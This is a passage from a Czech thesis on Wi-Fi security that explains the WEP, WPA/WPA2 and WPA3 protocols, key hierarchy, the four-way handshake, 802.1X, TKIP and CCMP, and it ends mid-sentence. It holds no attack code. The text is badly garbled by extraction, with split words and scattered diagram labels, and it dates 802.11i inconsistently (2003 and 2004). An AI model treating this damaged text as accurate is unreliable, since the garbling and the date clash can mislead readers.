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Úvod 

V roce 2019 se globální poče t zařízení používajících bezdrá tovou síť W i - F i rozrostl na 

odhadovaných 13 mil iard a tempo růs tu stále zrychluje [1]. Lidé se stále více stávají 

závislí na těch to službách, ať už v rámci sociálních médií , v pracovním pros t ředí 

anebo při sdílení informací. Pro větš inu lidí není p roblém posí lat přes bezdrá tové sítě 

citlivé informace, a proto je o tázka bezpečnost i těchto sítí jednou z nej klíčovějších 

otázek modern ího světa. 

Bezpečnost W i - F i řeší předevš ím rodina s t a n d a r d ů nazvaná I E E E 802.11. O d 

roku 1997 vydává organizace I E E E standardy, k teré umožňuj í pokrok v rámci bez­

drá tových sítí a definují jejich zabezpečování [?]. Mohlo by se tak zdá t , že bezpečnost 

W i - F i je již vyřešenou záležitostí . Ovšem jak se ukazuje, tak i tyto standardy nejsou 

bez problémů. Např ík lad p rvn í z bezpečnos tn ích protokolů navržený v rámci I E E E 

802.11, protokol W E P , se již brzy po vydán í ukázal jako velmi nedos ta tečný a plný 

zrani te lnost í [5]. 

Testování těch to protokolů a tes tování bezdrá tových sítí je tedy důleži tým kro­

kem v zajištění bezpečné a modern í komunikační infrastruktury, k t e rá umožní mi l i ­

a r d á m uživatelů sdílení i těch nej citlivějších informací bez obav o jejich bezpečnost . 

Toto tes tování m á mnoho forem a př í s tupů . Tato práce se zabývá problematikou 

tes tování bezpečnost i . 

V rámci teorie dojde k analýze těch to bezpečnostn ích protokolů, bude vysvět­

leno, jak fungují, v čem spočívají jejich slabiny a jak je lze zneužít . Dále dojde 

ke s t ručnému seznámení s d o s t u p n ý m tes tovacím softwarem a hardwarem, budou 

analyzovány jejich funkce a využi t í . V prakt ické část i dojde k demonstraci tohoto 

softwaru a hardwaru, budou provedeny ukázky možných ú toků na analyzované pro­

tokoly a zhodnocena jejich úspěšnost . 

Kyberne t i cká bezpečnos t je poslední dobou j edn ím z nej skloňovanějších sousloví 

v oblasti informatiky. Celosvětově se do týká významné části lidské populace a je 

proto nu tné , aby na ni byl kladen dos ta tečný důraz . 
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1 Zabezpečení W i - F i 

Zabezpečení W i - F i a bezdrá tových sítí obecně řeší předevš ím rodina s t a n d a r d ů I E E E 

802.11. 

1.1 R o d i n a standardů I E E E 8 0 2 . 1 1 

I E E E neboli Institute of Electrical and Electronics Engineers je mez inárodní orga­

nizace zabývající se, mimo j iné, s tandard izac í v oblast í elektroniky a komunikačních 

technologií. [2] J e d n í m z mnoha p o d v ý b o r ů t é to organizace je I E E E 802, zabývající 

se specifikací lokálních a met ropol i tn ích bezdrá tových sítí. Rodina s t a n d a r d ů I E E E 

802.11 pak specifikuje lokální bezdrá tové sítě obecně známy pod názvem W i - F i . [3] 

P ů v o d n í standard I E E E 802.11-1997 byl v y d á n v roce 1997 a od té doby bylo 

vydáno více než 30 d o d a t k ů které specifikují předevš ím modulace pro posí lání rá­

diového signálu. Nejčastěji použ ívaná p á s m a jsou 2.4 G H z , k t e rá definují standardy 

802.11b a 8 0 2 . l i g a 5 G H z , k te ré je definováno standardem 802.11a. Tyto stan­

dardy jsou pak dále rozšířeny a upraveny dodatky 802.1 l n a 802.11ac a dalšími. 

[4] 802.11 ale t aké specifikuje i méně používané a známé standardy, jako např ík lad 

I E E E 802.1 l ad , k t e rý definuje komunikaci v p á s m u 60 G H z . 

Standardy rodiny 802.11 dále řeší i o tázku zabezpečení . P ů v o d n í m protokolem 

definovaným již v p rvn í verzi standardu je W E P . W E P , p lným názvem Wired Equi -

valent Privacy, je bezpečnos tn í protokol, k te rý lze využí t pro autentizaci a šifrování 

dat. Tento protokol byl standardem pouze doporučen, nebyl povinný. Dnes je již po­

važovaný za naprosto nedos ta tečný a nebezpečný z několika důvodů. Mez i ně pa t ř í 

nevhodně řešená autentizace, š p a t n á implementace šifry R C 4 a nedos ta t ečná délka 

klíčů. [5] 

Z těchto důvodů by l navržen zabezpečovací protokol W P A - W i - F i Protected 

Access. Ten existuje ve dvou základních verzích W P A a W P A 2 . W P A je j akýmsi 

mezikrokem z důvodu zdlouhavého procesu schvalování dodatku k 802.11. W P A řeší 

některé problémy protokolu W E P a stále je považovaný za bezpečný. Autentizace 

u tohoto protokolu je řešena protokoly P S K anebo I E E E 802.lx. P S K , neboli Pre-

Shared Key, je určen předevš ím pro domácí sítě. Autentizace podle I E E E 802. l x je 

pak určena pro podnikové sítě. Výběr au ten t izačn ího protokolu pak tedy závisí na 

typu sítě. 

Šifrování pak řeší protokol T K I P opět využívající šifru R C 4 . V roce 2004 byl 

schválen standard 802.11i, k te rý plně specifikuje protokol W P A 2 . Ten je velmi po­

dobný protokolu W P A s největším rozdílem ve výběru šifrovacího algoritmu. Prou­

dová šifra R C 4 je zde nahrazena blokovou šifrou A E S . Autentizace opět existuje ve 

dvou verzích - P S K a 802.lx. Protokol W P A 2 je považován za nejbezpečnější . [6] 
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V roce 2018 byl v y d á n nový, vylepšený protokol W P A 3 , k te rý m á nahradit 

W P A 2 . W P A 3 př ináší vylepšení v několika oblastech. Autentizace č tyřces tnou vý­

měnou je nahrazena protokolem S A E , k te rý znemožňuje některé typy ú toků , vůči 

k t e rým byl zrani te lný protokol W P A 2 . Jsou používány delší klíče. Nebezpečná služba 

W P S je zde nahrazena službou D P P , k t e r á umožňuje j ednoduché a bezpečné př ipo­

jování IoT zařízení do sítě. W P A 3 dále zajišťuje šifrování i u otevřených a veřejných 

sítí, čímž zamezuje odposlechu. Šifrování u W P A 3 podporuje dopřednou bezpečnost 

- pokud tedy ú točn ík zjistí používané heslo, nezíská t í m automaticky schopnost 

dešifrovat nové pakety. Př í s tupové body používající W P A 3 by pak dále měly umož­

ňovat s imul tánní používání jak W P A 2 , tak i W P A 3 . P r o z a t í m je však tento protokol 

málo využívaný a podpora u koncových zařízení je stále nízká. [7] 

1.2 Zabezpečení p r o t o k o l u W E P 

Protokol W E P byl doporučen p ů v o d n í m standardem 802.11 jako způsob zajištění 

bezpečné bezdrá tové komunikace. Lze jej využí t pro autentizaci, zajišťování integrity 

a šifrování dat. 

1.2.1 A u t e n t i z a c e p o d l e 8 0 2 . 1 1 

P ů v o d n í standard 802.11 podporuje dva typy autentizace - Open System a Shared 

K e y Nezávisle na zvoleném typu je dále možné , ale ne nu tné , využí t šifrování pro­

tokolem W E P . Jsou tedy možné 4 různé stavy zabezpečení jejichž mí ra bezpečnost i 

je různá . Autentizace p rob íhá pomocí r á m c ů typu Management. [6] 

O p e n S y s t e m 

Př i autentizaci typu Open System (Otevřený systém) dochází k dvoucestné výměně 

(2-way handshake), kdy uživatel pošle požadavek k autentizaci a A P (př ís tupový 

bod) jej po tv rd í a autentizuje. V p o d s t a t ě se tedy uživatel nijak neidentifikuje a na 

Otevřený sys tém se může připoj i t kdokoliv. [6] 

Pokud je zvoleno šifrování W E P , po uživateli je po t é t o „autent izaci" vyžadován 

sdílený klíč. To by se dalo považovat za urč i tý typ autentizace, protože klíče u W E P 

jsou p ředem sdílené a p rokázán ím znalosti tohoto klíčů se uživatel autentizuje. Kvůli 

s lab inám Shared K e y autentizace se považuje Open System za bezpečnější variantu. 

S h a r e d K e y 

Př i autentizaci typu Shared K e y (Sdílený klíč), vyobrazené na obrázku 1.1 dochází ke 

č tyřces tné výměně (4-way handshake). Uživatel vyšle žádost o autentizaci. A P pak 
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pošle výzvu, k t e rá obsahuje n á h o d n ě vygenerované 1024-bitové číslo. Uživatel pak 

toto číslo zašifruje svým I V (inicializačním vektorem) a p ředem sdíleným klíčem 

pomocí šifrování W E P . Zašifrovanou zprávu pak pošle zpět společně se svým IV. 

A P po t é zprávu dešifruje a provede kontrolní součet. Pokud je kontrolní součet 

správný (byl tedy použi t správný klíč a přenesený I V ) , je uživatel autent izován. 

Pokud kontrolní součet neodpovídá , je autentizace neúspěšná . [8] 

Sdílený klíč tak t ímto poměrně efektivně dokáže autentizovat uživatele. Ovšem 

co se týče bezpečnost i , je toto naprosto nedos ta tečný sys tém autentizace. P rob lém 

spočívá v tom, že potenciá ln í ú točn ík tuto výměnu může j ednoduše odposlouchat a 

získat po t ř ebné informace ke svojí autentizaci, a p ř ípadně i ke zjištění používaného 

klíče. [9] 

Uživatel 

Uživatel 

Uživatel 

Uživatel 

Žádost o 
autentizaci 

Výzva se 
zprávou 

Přístupový bod 

( (< !» ) 

1 
Přístupový bod 

Zašifrovaná 
zpráva 

+ IV 

Zašifrovaná 
zpráva 

+ IV 

Přístupový bod 

Úspěšná 
autentizace 1 t 

Přístupový bod 

Obr. 1.1: Shared K e y autentizace 

Shrnutí a u t e n t i z a c e 8 0 2 . 1 1 

Autentizace podle standardu 802.11 je tedy nedos ta tečná . Kromě zmíněné zranitel­

nosti m á i ř a d u dalších problémů. Autentizace je v tomto př ípadě j e d n o s t r a n n á -
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když se uživatel připojí , n e m á možnost zjistit, zda se opravdu připoji l k zamýšle­

nému př í s tupovému bodu. Dalš ím p rob lémem je fakt, že autent izováno je v tomto 

př ípadě zařízení, a ne uživatel . 

Pokud tedy porovnáme Open System a Shared K e y autentizaci, je výhodnější 

využívat Otevřený systém. Ve výsledku dosáhne stejné věci - ke komunikaci je po­

t ř e b a znalost klíče, ale na rozdíl od Sdíleného klíče nedojde k odhalení keystreamu. 

[6] 

1.2.2 Šifrování W E P 

K šifrování přenášených dat W E P využívá proudovou šifru R C 4 . R C 4 , celým názvem 

Rivest Cipher 4, je v ý h o d n á předevš ím pro svou rychlost a nízké nároky na hardware, 

v důs ledku své jednoduchosti. Ve své p o d s t a t ě se R C 4 snaží vytvoř i t p seudonáhodný 

proud b i tů (keystream), pomocí k te rého pak zašifruje danou zprávu operací X O R . 

[10] 

Keystream se po t é kont inuálně s každou zprávou, mění aby nedošlo k tomu, 

že s te jná zpráva je pokaždé zašifrována stejně, což se d á zneužít ke zjištění klíče. 

Keystream se vypočí tává na obou s t ranách . P r o b l é m e m je, že bezdrá tová komuni­

kace může být nespolehlivá, a i jediný z t racený rámec by šifru zlomil , pro tože každá 

strana by po t é používala j iný keystream. [6] 

U protokolu W E P se kvůli tomu tento proces restartuje u každého přenosu. A b y 

nedocházelo k opakování s tejného keystreamu pro každý rámec , př idává se ke klíči 

ješ tě inicializační vektor (IV). I V m á velikost 24 b i tů a je generován odesilatelem. 

Klíče u W E P mají klasicky velikost 40 bi tů , ale existují i varianty s delšími klíči. 

Společně pak klíč a I V vygenerují daný keystream. Dále odesilatel provede kont­

rolní součet ( ICV) nezašifrované zprávy pomocí hashovací funkce C R C - 3 2 . Zpráva 

a součet jsou po té zašifrovány. Odesí laný rámec pak obsahuje zašifrovanou zprávu a 

použi tý IV . [11] 

Př í jemce vygeneruje použi tý keystream pomocí sdíleného klíče a př i ja tého I V a 

následně dešifruje zprávu. Po té provede svůj kontrolní součet zprávy a porovná s 

doručeným kont ro ln ím součtem. Pokud se součty shodují, je zpráva př i ja ta , pokud 

ne, je zahozena. T í m t o je zaj iš těna důvěrnost a integrita přenášených dat. [6] 

1.2.3 Shrnutí W E P 

W E P je již dlouhou dobu považován za nebezpečný protokol a neměl by být používán 

v ž á d n é m př ípadě . Naš těs t í tato skutečnost byla rozpoznána poměrně brzo po vydání 

původního standardu 802.11 a začalo se pracovat na vytvoření nového bezpečnějšího 

protokolu. [6] 
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1.3 Zabezpečení p r o t o k o l u W P A a W P A 2 

Po odhalení n e d o s t a t k ů protokolu W E P začalo obchodní sdružení W i - F i Alliance 

vyvíjet nový, bezpečnější protokol. Jelikož jeho schválení trvalo poměrně dlouhou 

dobu, v mezidobí bylo vydáno doporučení označované W P A ( W i - F i Protected A c ­

cess). Protokol W P A je spojovacím člákem mezi protokoly W E P a vyví jeným W P A 2 . 

Následně byl v roce 2003 v y d á n standard 802.11i, k te rý plně definoval protokol 

W P A 2 . 

W P A i W P A 2 řeší o tázku hierarchie a distribuce klíčů a autentizace stejně. Pod­

porují dva protokoly - P S K (Pre-Shared Key) a 802.lx. P S K je využíván v tzv. 

Personál Mode (osobní m ó d ) , 802.lx je využíván v tzv. Enterprise Mode (firemním 

m ó d u ) . 

Rozdíl mezi W P A a W P A 2 je ve využívaném šifrování. W P A podporuje pouze 

protokol T K I P , W P A 2 už podporuje šifrování pomocí A E S za použi t í protokolu 

CCMP.[12] 

1.3.1 H i e r a r c h i e a d i s t r i b u c e klíčů 

J e d n í m z největších problémů W E P byla absence správy klíčů. Protokoly W P A 

a W P A 2 proto aplikují složitější, ale mnohem bezpečnější hierarchii a distribuci. 

F iná ln ím v ý s t u p e m autentizace je klíč P M K (Pairwise Master Key) . Ten je získán 

různým způsobem v závislosti na zvoleném au ten t i začn ím protokolu. 

Př i použi t í P S K , tedy síti s p ř e d e m sdí leným klíčem, se P M K rovná P S K . Př i 

využívání autentizace 802.lx se P M K odvíjí z klíče M S K (Master Session Key) , 

k te rý je v ý s t u p e m tohoto protokolu. Po zjištění P M K už oba protokoly pokračují 

stejně. Délka P M K je 256 b i tů . [6] 

Dalš ím využívaným klíčem je P T K (Pairwise Transient Key) , k te rý se derivuje z 

P M K pomocí hashovací funkce H M A C - S H A l . Ten je un iká tn í pro každého klienta 

komunikujícího s p ř í s tupovým bodem. Je generován znovu při každé asociaci mezi 

klientem a d a n ý m A P . Délka P T K je závislá na tom, zda je dále používán protokol 

T K I P nebo C C M P . Pro T K I P m á klíč velikost 512 b i tů , pro C C M P m á velikost 384 

bi tů . 

P rob l ém nas tává u mul t icas tových a broadcas tových sítí, kde by si A P musel 

pamatovat P T K každého uživatele a nás ledně posílat každý rámec několikrát , po­

každé šifrovaný j iným klíčem. Z tohoto důvodu existuje i pá r klíčů G M K (Group 

Master Key) a G T K (Group Transient Key) . Tyto klíče jsou generovány n á h o d n ě 

p ř í s tupovým bodem. 

P T K je dále rozdělen do t ř í subklíčů: 
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• K C K (Key Confirmation Key) použi tý u autent izačních zpráv b ě h e m čtyř-

cestné výměny (4-way handshake) 

• K E K (Key Encrypt ion Key) zajišťuje šifrování b ě h e m 4-way handshake 

• T K (Temporary Key) finální klíč používaný k šifrování dat protokolem T K I P 

Délky těch to klíčů závisí na kombinaci využi tého šifrovacího algoritmu a na tom, 

zda se j e d n á o skupinovou síť (tedy zda je používán klíč P T K nebo G T K ) . [12] Na 

obrázku 1.3.1 je vyobrazen celý proces získávání a generování klíčů. 

Autentizace 

Autentizace PSK 
Autentizace 

802.1X 

Heslo PSW PSK = PBKDF(PSW, SSID, 
SSIDLength, 4096, 256) 

MSK - výstup autentizace MSK - výstup autentizace Autentizační 
802. lx , vygenerován údaje 

autentizačním serverem 
údaje 

autentizačním serverem 

Pairwise Master Key 
PMK = PSK 

Pairwise Master Key 
PMK = MSK 

Group Master Key 
GMK 

-vygenerován AP 

Ctyřcestná výměna 

Délkv jednotlivých klíčů 

PSW - 8-63 znaků 
PSK - 256 bitů 
MSK - 256 bitů 
PMK - 256 bitů 
GMK - 256 bitů 

PTK pro TKIP - 512 bitů 
PTK pro CCMP - 384 bitů 

KCK -128 bitů 
KEK -128 bitů 

TK pro TKIP - 256 bitů 
TK pro CCMP -128 bitů 

GTK pro TKIP - 256 bitů 
GTK pro CCMP -128 bitů 

Pairwise Transient Key 
PMK -> PTK 

l ! 
KCK KEK TK 

Group Transient Key 
GMK -> GTK 

Šifrování 

TKIP (RC4) CCMP (AES) 

Obr. 1.2: Hierarchie klíčů 

1.3.2 Ctyřcestná výměna 

Tato v ý m ě n a je důleži tým krokem pro každou autentizaci v rámci W P A . P ř e d t í m 

než se k ní př is toupí , musí dojít bud k autentizaci 802.lx nebo P S K . V ý s t u p e m 
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t ěch to autent izačních protokolů je klíč P M K . V p ř ípadě 802. lx je odvozen z klíče 

M S K , v p ř ípadě protokolu P S K je za P M K považován p ředem sdílený klíč P S K . K e 

komunikaci jsou využívány rámce typu E A P O L - K e y . 

N a začá tku výměny A P pošle klientovy n á h o d n é číslo „ANonce". Klient si vy­

generuje svoje n á h o d n é číslo „SNonce" a nás ledně si vypoč í t á klíč P T K . K tomu 

slouží funkce H M A C , jejímž vstupem jsou klíč P M K , M A C adresy klienta i A P a 

obě čísla ANonce a SNonce. Z P T K si nás ledně odvodí dočasné klíče K C K , K E K a 

T K . Pomocí K C K si vygeneruje M I C (Message Integrity Code) - kontrolní součet 

celé zprávy a pošle p ř í s tupovému bodu číslo SNonce a M I C . A P teď může vypoč í t a t 

P T K , a t í m p á d e m i K C K , K E K a T K . Zkontroluje, zda M I C souhlasí, pokud ano, 

z n a m e n á to, že obě strany používají stejný P T K . 

Klient 

Vygeneruje 
SNonce 

Vypočítá P T K 
P T K -> K C K , KEK , TK 
Kontrolní součet MIC 

Dešifruje G T K 

Čtyřcestná výměna (4Way Handshake) 

Zvonce 

(KCK) 

Šifrovaná komunikace (TKIP /CCMP) s 
klíčem TK 

((^) 

A P 
Vygeneruje 

ANonce 

Vypočítá P T K 
PTK -> K C K , K E K , TK 

Zkontroluje MIC 

Zkontroluje zda je 
vše zašifrováno 

správně 

Obr. 1.3: Č ty řces tná výměna 

A P pak odpoví další zprávou, k t e rá obsahuje skupinový klíč G T K , zašifrovaný 

klíčem K E K , a M I C , zašifrovaný klíčem K C K . Klient by měl mí t schopnost G T K 

dešifrovat. Poslední zprávou výměny je klientova odpověď, ve k teré pošle A C K 
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(Acknowledge) zprávu zašifrovanou klíčem K E K a součet M I C A P si ověří že je 

vše zašifrováno správně, a v ý m ě n a je t í m t o hotova. V tento moment už začne nor­

máln í komunikace. Výměna je vyobrazena na obrázku 1.3. [13] 

1.3.3 A u t e n t i z a c e u W P A / W P A 2 

Protokoly podporu j í 2 typy autentizace v závislosti na tom, zda jsou v režimu Perso­

nal Mode nebo Enterprise Mode. V p r v n í m př ípadě je použ ívána autentizace P S K , 

v d r u h é m autentizace 802. l x . 

A u t e n t i z a c e 8 0 2 . l x 

Tento způsob autentizace, vyobrazený na obrázku 1.4, je definován standardem 

802.lx v y d a n ý m v roce 2002. S a m o t n á autentizace je řešena protokolem E A P O L 

( E A P Over L A N ) , což je rozšíření s tarš ího au ten t izačn ího protokolu E A P (Extensi­

ble Authentication Protocol) pro L A N sítě. E A P samotný pak m á několik možných 

autent izačních metod, jako E A P - M S C H A P v 2 , E A P - G T C nebo E A P - T T L S . 

Podstatou 802. l x je řízení p ř í s tupu p ros t ředn ic tv ím autentizace na portech. Př í ­

s tupový bod je b ě h e m autentizace zpros t ředkovate lem komunikace mezi uživatelem 

a au ten t i začn ím serverem. Procesu se tedy účas tn í t ř i entity: 

• klient - uživatel , k te rý se autentizuje 

• au ten t i zá to r - A P 

• au ten t izační server - větš inou se využívá server R A D I U S (Remote Authenti­

cation Dia l In User Service) 

Komunikace p rob íhá pomocí E A P rámců . Nejdříve klient kontaktuje A P pomocí 

rámce typu E A P O L - S t a r t . A P pošle zpět výzvu k identifikaci EAPOL-Reques t . 

Klient po t é pošle r ámec EAP-Response, k t e rý obsahuje jeho M A C adresu. A P od 

t é t o chvíle pouze přeposí lá zprávy mezi klientem a au ten t i začn ím serverem. Ten 

při jme klientovu odpověď a odpoví E A P výzvou se zvolenou au ten t izační metodou. 

Kl ient se nás ledně může rozhodnout, zda pokračovat s touto zvolenou metodou, 

nebo server o j inou au ten t izační metodu. To se hodí hlavně v př ípadě , 

kdy klient nějakou z autent izačních metod nepodporuje. Pokud tomu tak je, pošle 

rámec, k te rý obsahuje informaci o podporovaných me todách , ze k terých si server 

nějakou vybere, a pošle zpět novou E A P výzvu se zvolenou au ten t izačn í metodou. 

Po té co je dohodnuta metoda, začne s a m o t n á autentizace. Server pošle klientovi 

certifikát obsahující veřejný klíč. Klient může ověřit platnost tohoto certifikátu. Po té 

vygeneruje n á h o d n ý klíč, k te rý zašifruje veřejným klíčem. Server nás ledně dešifruje 

n á h o d n ý klíč korespondujícím soukromým klíčem. Tento n á h o d n ý klíč je dále pou­

žit k dalš ímu šifrování komunikace. Klient tak může bezpečně odeslat serveru svoje 
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identifikační údaje . Server je ověří, a pokud souhlasí, klienta autentizuje. Pošle k l i ­

entovi a A P zprávu typu EAP-Success spolu s klíčem M S K , k te rý pak obě strany 

použijí k dalš ímu šifrování a odvození T K b ě h e m čtyřces tné výměny (viz kapitoly 

1.3.1 Hierarchie a distribuce klíčů a 1.3.2 C ty řces tná výměna ) . 

Pokud je autentizace neúspěšná , je pos lán r ámec EAP-Fa i lu re . 

Klient 

((^) 

A P 
1 

Autentizační 
Server (AS) 

Klient potvrdí nebo 
zamítne metodu 

Zašifruje náhodný 
klíč veřejným klíčem 

EAPOL-Star t 

E A P žádost o identifikaci 

E A P - M A C adresa 

E A P žádost s metodou 

Digitální certifikát s veřejným 
klíčem 

Zašifovaná žádost o 
identifikaci 

Zašifrované E A P - S u c c e s s a 
M S K 

RADIUS A c c e s s Request 

E A P Start s metodou 

Zašifrovaný náhodný klíč 

Zašifrované identifikační 
údaje 

E A P - S u c c e s s 

A S vybere 
metodu 

Dešifruje náh. klíč, 
používá ho k šifrování 

Ctyřcestná výměna 

Obr. 1.4: Schéma autentizace 802. l x 

Hlavní výhodou tohoto au ten t izačn ího protokolu je poměrně j ednoduchá správa 

a dynamičnos t používaných klíčů. Pokud jsou nějakému klientovi odebrány práva, 

stačí je pouze odebrat z au ten t izačního serveru. T ím, že každý klient m á un iká tn í 

M S K , se nemusí řešit přerozdělování nových klíčů. Z tohoto důvodu je autentizace 

802. l x v h o d n á pro firemní sítě, kde je správa kl ientů důleži tá . 802. l x je také jedno­

duchá pro uživatele, k t e rý pouze musí zadat své správné údaje . 
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Autentizace 802. l x je vysoce bezpečná bez žádných známých zrani te lnost í . Nej-

slabším mís t em tak zůstávají špa tně zvolená a s labá hesla uživatelů. 

Největší nevýhodou je nutnost nas tavování au ten t izačn ího serveru. Proto tato 

autentizace není příliš používaná v domácích sítích, kde je jednodušš í použí t auten-

tizaci PSK.[6] [12] 

A u t e n t i z a c e P S K 

Tento způsob autentizace je velmi jednoduchý. Spočívá v tom, že klient i A P mají 

p ředem sdílený a uložený klíč P S K (Pre-Shared Key) , k te rý je dále použi t ve čtyř-

cestné výměně k odvození T K (viz kapitola 1.3.2 Cty řces tná výměna ) . P ln í tak 

funkci klíče P M K . 

Samotný P S K m á 256-bitů a není zadáván př ímo, ale je odvozen z hesla P S W 

(password), k teré je zadáno manuá lně . P řevod je popsán rovnicí: 

P S K = P B K D F 2 ( P S W , SSID, SSIDLength, 4096, 256), 

kde: 

• P B K D F 2 - hashovací funkce 

. P S W - h e s l o 

. SSID - identifikátor SSID 

. SSIDLength - délka SSID 

• 4096 - poče t hashů 

• 256 - délka v ý s t u p u 

Délka hesla musí bý t mezi 8 a 63 znaky. [12] 

1.3.4 Šifrování W P A / W P A 2 

W P A podporuje šifrovací mechanismus T K I P (Temporal Key Integrity Protocol), 

W P A 2 dále podporuje mechanismus C C M P (Cipher Block Chaining Message A u -

thentication Code Protocol). D ů v o d e m pro podporu T K I P u W P A 2 je, že C C M P 

využívá blokovou šifru A E S , kterou by s tarš í hardware nemusel zv ládat . T K I P vy­

užívá šifru R C 4 , stejně jako W E P . 

T K I P 

Šifrování T K I P je určeno předevš ím pro hardware, k te rý by nedokázal zv ládnout 

náročnější šifrování. Je tak stále využívána šifra R C 4 . T K I P však obsahuje ř a d u 

vylepšení, k t e r á alespoň částečně řeší p roblémy šifrování W E P . 

Jednou z největších zrani te lnost í W E P byla nedos t a t ečná schopnost zajistit in­

tegritu dat. Proto T K I P využívá tzv. M I C (Message Integrity Code, přezdívaný 

„Michael") - kontrolní součet k te rý dokáže detekovat úp ravu pake tů . M I C využívá 

20 



vlas tn í klíče v závislosti na tom kdo je odesí latelem. Tyto klíče jsou d ruhými 128 

bity 256bitového T K , k te rý je v ý s t u p e m čtyřcestné výměny. [6] 

Zpráva, kterou M I C kontroluje, je rozdělena do část í o velikosti 32 bi tů . M I C 

klíč je dále upraven operací X O R s p rvn í z těch to částí . Tento změněný klíč je pak 

opět upraven s te jným způsobem s další část í zprávy. Toto je opakováno, dokud není 

zpráva vyčerpána . Výsledný změněný klíč je nadá le upraven několika modu lá rn ími 

operacemi a po t é je pos lán jako kontrolní součet společně se zprávou. Pří jemce 

zprávy pak M I C přepoč í t á a zjistí, zda je zpráva zašifrována správně. 

Tento způsob produkuje nepředvída te lné součty, k teré ú točn ík těžko mění . Klíč 

s amotný je j iný pro každý M I C součet, což eliminuje možnost ú toku hrubou silou. 

Pokud b ě h e m jedné minuty dojde ke dvěma š p a t n ý m součtům, je tato situace vy­

hodnocena jako ú tok a A P ods t r an í veškeré dočasné klíče a přeruší na jednu minutu 

komunikaci T K I P . Mezi t ím se s tanoví nové dočasné klíče. 

Protokol T K I P také využívá nově definované prodloužené inicializační vektory 

(Ext IV) o délce 48 b (oproti 24 b I V u W E P ) . I V jsou t í m p á d e m bezpečnější . V 

rámci protokolu jsou pak rozděleny na 2 části o velikosti 16 b a 32 b [12]. 

E x t I V také funguje jako sekvenční č í tač ( T S C - T K I P Sequence Counter). S 

k a ž d ý m r á m c e m je jeho hodnota inkrementována , a pokud na s t raně pří jemce tato 

hodnota nesouhlasí s očekávanou, je rámec zahozen. T í m t o se protokol chrání ú to ­

k ů m využívajícím opakované posílání stejných rámců . 

Pos ledním článkem protokolu T K I P je mixování klíčů. T K I P je navržen tak, aby 

byl každý paket šifrován j i ným klíčem. Mixování je rozděleno do 2 částí . V prvn í je 

sestaven tzv. T T A K ( T K I P - m i x e d Transmit Address and Key) složený z prvních 128 

b i tů T K (výs tup autentizace), 32bitové část i E x t I V a M A C adresy vysílající strany. 

Tato část p rob íhá pouze jednou za 2 1 6 b. D r u h á část mixování, jej ímž v ý s t u p e m je 

tzv. P P K (Pre-Packet Key) , p rob íhá pro každý paket. V t é t o části se složí T T A K a 

zbývajících 16 b E x t I V . O b ě fáze jsou realizovány pomocí hashovacích funkcí. 

F iná ln ím v ý s t u p e m mixování je 128bitová hodnota složená z 16 b i tů E x t I V , 8bi-

tové hodnoty dummybyte a 104bitového P P K . Tato hodnota slouží jako inicializační 

hodnota pro šifru R C 4 , a jde tedy o obdobu keystreamu u W E P , k te rý byl tvořen 

klíčem a I V . 

Ve shrnu t í je tedy T K I P poměrně efektivní rozšíření originálního W E P protokolu. 

K zajištění integrity používá zprávy M I C , dále je použi t prodloužený inicializační 

vektor E x t I V a každý paket je šifrován j i ným klíčem, k te rý je v ý s t u p e m mixování 

klíčů. [14] 
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Čtyřcestná výměna 

128 bitů TK 
64 bitů MIC klíč 64 bitů MIC klíč 

128 bitů TK Klient -> A P A P -> Klient 

M A C adresa - 48b 

ExtIV (48 b) 

32 b 

16 b 

Mixování klíče 
Fáze 1 

TTAK 

Mixování klíče 
Fáze 2 

Data MIC 

M A C zdroje, 
M A C 

příjemce, 
Q o S 

Inicializační vektor 
W E P 

Datový blok 
(Data + MIC) 

W E P Šifrování 

Zašifrovaná zpráva 

Obr. 1.5: Schéma šifrování T K I P 

C C M P 

Zdaleka nejbezpečnější variantou šifrování je C C M P (Cipher Block Chaining Message 

Authentication Code Protocol) zobrazeno na obrázku 1.6. Je p ř í t omno pouze u pro­

tokolu W P A 2 . 

P r v n í součást í protokolu je číslo P N (Packet Number), k teré je un iká tn í pro 

každý rámec . M á velikost 48 b i tů a inkrementuje se po každém odes laném rámci . P N 

je po t é zkombinován s M A C zdroje a prioritou QoS (Quality of Service); výsledkem je 

104bitové číslo „nonce". Toto číslo je následně, spolu se 128bitovým klíčem, použi to 

k šifrování dat pomocí šifry A E S . Výsledkem tohoto šifrování je kontrolní součet 

M I C . [6] 
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Key ID PN 

Iterování 

C C M P Záhlaví 

Ctyřcestná výměna 

M A C Adresa 
zdroje, Q o S TK (128 bitů) 

Nonce Nonce = IV h u 

Data 

Záhlaví 

A E S MIC 
(CBC) (64 bitů) 

A E S 
(CTR) 

Zašifrovaná data 
+ MIC 

Záhlaví C C M P 
Záhlaví 

Zašifrovaná data + MIC 

Obr. 1.6: Schéma šifrování C C M P 

Advanced Encryption Standard 

Advanced Encrypt ion Standard (AES) je symetr ická bloková šifra vyv inu tá v 

roce 2001. J e d n á se o dnes jednu z nej používanějších šifer z důvodu její bezpečnost i . 

Momentá lně je př i správne implementaci považována za neprolomitelnou v realistic­

kém čase. A E S pracuje s bloky dat velikost 128 bi tů . T y jsou šifrovány v několika 

rundách pomocí různých operací za použi t í klíčů odvozených z hlavního klíče. 

A E S je možno implementovat v několika režimech, k teré ovlivňují způsob řetězení 

jednot l ivých šifrovaných bloků dat. Účelem je zabrán i t situaci, kdy stejný blok dat 

zašifrovaný s te jným klíčem vyús t í ve stejný zašifrovaný text. C C M P nejprve používá 

A E S v režimu C B C (Cipher Block Chaining), tedy režim řetězení šifrových bloků. 

V tomto režimu je blok dat před šifrováním pomocí s amotné šifry nejdříve xorován 

s již zašifrovaným přechozím blokem. P r v n í blok je xorován inicializačním vektorem 

[15]. V př ípadě C C M P je inicializačním vektorem číslo „nonce". 

Dalš ím použ i tým rež imem je C T R (Counter Mode), k t e rý k číslu „nonce" př idá 

čítač. Toto číslo je zašifrováno pomocí A E S a výsledek je dále xorován s šifrovaným 

blokem dat a se souč tem M I C . T í m t o dostaneme zašifrovaný blok. Pro další blok 

se čítač inkrementuje a postup se opakuje. S a m o t n á data se tedy v tomto režimu 
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nešifrují šifrou A E S [15]. 

Integrita dat 

C C M P zajišťuje integritu a důvěrnost dat použ i t ím datového pole A A D (Addi-

tional Authentication Data) schovaného v záhlaví dat. Dále je používán kontrolní 

součet M I C Díky způsobu šifrování a používání C B C by i změna jediného bi tu v 

jakémkoliv bloku vyúst i la v komple tně j iný finální blok [6]. 

V souhrnu je C C M P velice si lným bezpečnos tn ím protokolem, k te rý na rozdíl od 

protokolů W E P a T K I P využívá blokové šifry A E S . Jeho hlavní zrani te lnost í jsou 

